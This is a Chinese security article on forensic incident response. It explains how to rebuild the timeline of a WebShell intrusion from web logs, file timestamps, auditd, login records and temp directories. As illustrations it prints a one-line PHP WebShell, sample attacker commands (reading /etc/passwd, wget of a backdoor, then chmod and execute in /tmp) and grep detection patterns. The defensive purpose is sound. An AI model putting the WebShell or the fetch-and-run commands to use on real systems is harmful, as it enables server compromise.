安全研究/安全视界/入侵之后:如何用时间线重建还原一次 WebShell 攻击
入侵之后:如何用时间线重建还原一次 WebShell 攻击
2026-11-04 07:41分享

凌晨 3 点,告警响了。

服务器上多了一个 1.php,内容只有一行 eval($_POST['x']);。

你删了它,以为结束了。但真正的入侵可能发生在 72 小时之前。

WebShell 只是攻击链的中间一环。删掉文件,攻击者可能还有:

  • 另外 3 个更隐蔽的后门
  • 一个 crontab 定时任务
  • 一个刚被加进 sudoers 的账号
  • 一批已经拖走的数据库备份

光删文件是止血,不是根治。要真正还原攻击过程,需要做的是——时间线重建。

一、为什么要做时间线,而不是"查文件"

大部分应急响应的第一步是 find /var/www -name "*.php" -mtime -7,找到可疑文件,删掉。这个动作有两个致命问题:

  1. 你只看到了"结果",没看到"过程"。攻击者是什么时候进来的、通过什么漏洞、做了什么操作,全都不知道。
  2. 你只看到了"这一个文件",没看到"全部痕迹"。攻击者往往留多个后门,只删一个等于没删。

时间线重建的思路是:把 Web 日志、文件系统、进程记录、用户登录、系统配置变更,全部按时间轴对齐,还原出攻击者从进入到撤退的完整轨迹。

 

 

二、攻击链的四个阶段

一次典型的 WebShell 攻击,时间线上会呈现四个阶段:

初始入侵 → 武器投递 → 内网渗透 → 持久化 ↓ ↓ ↓ ↓ 漏洞利用 上传WebShell 提权/横移 后门/清理

每个阶段在日志里都会留下特征时间点。找到这四个点,就找到了时间线的锚。

三、第一步:定位"初始入侵"的时间

初始入侵的特征是异常的 HTTP 请求。重点看三类:

1. 漏洞利用 payload

grep -E "(\.\./|eval\(|base64_decode|system\(|exec\()" /var/log/nginx/access.log*

常见的特征:

  • ../ 目录穿越
  • union select SQL 注入
  • eval / system / exec 命令执行
  • wget / curl 远程下载

2. 文件上传请求

zgrep "multipart/form-data" /var/log/nginx/access.log*

重点看 POST 到 upload.php / uploadify.php 这类接口的请求,以及响应码为 200 的上传。

3. 扫描器特征

grep -iE "sqlmap|nikto|acunetix|nmap|masscan" /var/log/nginx/access.log*

如果日志里出现这些 User-Agent,说明攻击者事先做过扫描。

找到最早的一条异常请求,这就是时间线的起点。

四、第二步:定位"WebShell 落地"的时间

WebShell 落地后,文件系统会留下两个时间戳:

  • mtime(修改时间):文件内容最后一次变化
  • ctime(状态变更时间):inode 状态最后一次变化(创建、权限、属主变更)
find /var/www/html -type f -name "*.php" -exec stat -c "%y %n" {} \; | sort

把结果按时间排序,找"集群式"的时间段——攻击者往往在几分钟内连续上传多个文件。

find /var/www/html -type f -name "*.php" -exec stat -c "%y %n" {} \; | \
  awk '{print $1, $2}' | sort | uniq -c | sort -nr | head -20

这个命令按"分钟"聚合,如果某一分钟内出现 3 个以上的文件创建,基本可以确定是批量上传。

再和访问日志交叉验证:从文件列表里找出可疑的 WebShell,用文件名去 Web 日志里反查访问记录,就能对上是哪一次 HTTP 请求把它落地的。

五、第三步:定位"命令执行"的时间

WebShell 被访问后,攻击者的下一步通常是执行命令。这一步的痕迹在访问日志的 URL 参数里。

grep -o "cmd=[^&]*" /var/log/nginx/access.log* | sort | uniq -c | sort -nr

常见的命令参数名:cmd、exec、c、command、shell。

把请求 URL 里的 URL 编码解开,你会看到类似这样的东西:

cmd=whoami
cmd=uname -a
cmd=cat /etc/passwd
cmd=wget http://xxx/backdoor
cmd=chmod +x /tmp/xxx && /tmp/xxx

每一条都是一次攻击者操作的快照。按时间排序,就得到了"命令执行时间线"。

六、第四步:系统层面的活动时间线

Web 日志只看得到"通过 HTTP 做了什么",看不到"攻击者直接登录系统后做了什么"。这部分要靠系统日志:

1. 用户登录记录

last -F | head -50

看有没有异常 IP、异常时间、异常账号(尤其是 root)。

2. 进程执行记录(如果开了 auditd)

ausearch -sc execve -ts recent | aureport -x -i

这是最有价值的日志之一——它记录了每一个进程的执行参数。如果攻击者执行了 wget、curl、bash -i、nc、python,全都会留下痕迹。

3. 关键文件变更

stat /etc/passwd /etc/shadow /etc/sudoers /etc/crontab /root/.bash_history

看修改时间。任何一处被动,都要深入查。

4. 临时目录

find /tmp /var/tmp -type f -exec stat -c "%y %n" {} \; 2>/dev/null | sort

攻击者的工具、脚本、反弹 shell 往往先落在 /tmp。文件创建时间就是操作时间。

七、把碎片拼成一条时间线

到这里,你手里有四五份时间线数据,但它们是分散的。下一步是把它们合并到同一个时间轴上。

{
  awk '{print "WEB", $0}' upload_timeline.txt
  awk '{print "FILE", $0}' php_files_timeline.txt
  awk '{print "CMD", $0}' command_execution_timeline.txt
  awk '{print "LOGIN", $0}' user_login_timeline.txt
} | sort -k2,3 > complete_attack_timeline.txt

合并之后,你会看到这样的东西:

WEB 2026-03-15 02:13:44 POST /upload.php 200 FILE 2026-03-15 02:13:46 /var/www/html/upload/1.php WEB 2026-03-15 02:15:12 GET /upload/1.php?cmd=whoami WEB 2026-03-15 02:15:30 GET /upload/1.php?cmd=uname+-a WEB 2026-03-15 02:17:45 GET /upload/1.php?cmd=cat+/etc/passwd  2026-03-15 02:20:33 root 222.xxx.xxx.xxx FILE 2026-03-15 02:21:10 /etc/sudoers FILE 2026-03-15 02:23:15 /tmp/.x/.backdoor

这就是攻击者的操作时间线。每一行都是他做的一件事。

八、从时间线里读出"行为模式"

时间线不只是"发生了什么"的记录,它还能告诉你"这是一个什么样的攻击者"。

1. 时间差分析

如果从 WebShell 上传到命令执行之间只隔了 90 秒,说明是自动化工具;如果隔了 18 小时,说明是人工操作。

2. 活跃时段

awk '{print $2}' complete_attack_timeline.txt | cut -d: -f1 | sort | uniq -c

如果攻击集中在某个时区的工作时间,可以推断攻击者的地理位置。

3. 会话重建

awk 'BEGIN {GAP=3600} {
  if ($2 - last > GAP || $1 != last_ip) session++
  print session, $0
  last = $2; last_ip = $1
}' sorted_timeline.txt

把间隔小于 1 小时、同 IP 的活动归为一个"会话"。这样能清楚地看出攻击者分几次进场。

九、报告怎么写才有说服力

一份应急报告的核心不是"我们发现了什么",而是"我们能证明什么"。

时间线分析的产出应该包括:

项内容
入侵起点最早一条异常请求的时间、IP、URL
WebShell 落地文件路径、落地时间、上传方式
操作轨迹时间 + 命令 + 结果
持久化证据后门文件、crontab、账号变更
数据外泄窗口数据库查询、大文件下载的时间段
攻击者画像时区、工具、自动化程度

每一条结论都要能对应到一条原始日志。这是应急报告和"我们觉得"之间的区别。

十、写在最后

时间线排查的价值,不在于"找到那个文件",而在于建立一个可以复盘的攻击全貌。

删掉一个 WebShell 只需要 3 秒。
搞清楚"他怎么进来的、做了什么、还留了什么",可能需要 3 天。
但只有后者,才能让下一次入侵不再发生。

行动清单:
  • 立刻保全所有日志(access.log、auth.log、audit.log)
  • 找出最早一条异常请求,确定时间起点
  • 从文件系统反查 WebShell 落地时间
  • 提取 Web 日志里的命令执行参数
  • 合并成统一时间线,标注关键事件
  • 按时间线逐一清除后门、定时任务、账号
  • 出报告:每一条结论对应一条原始证据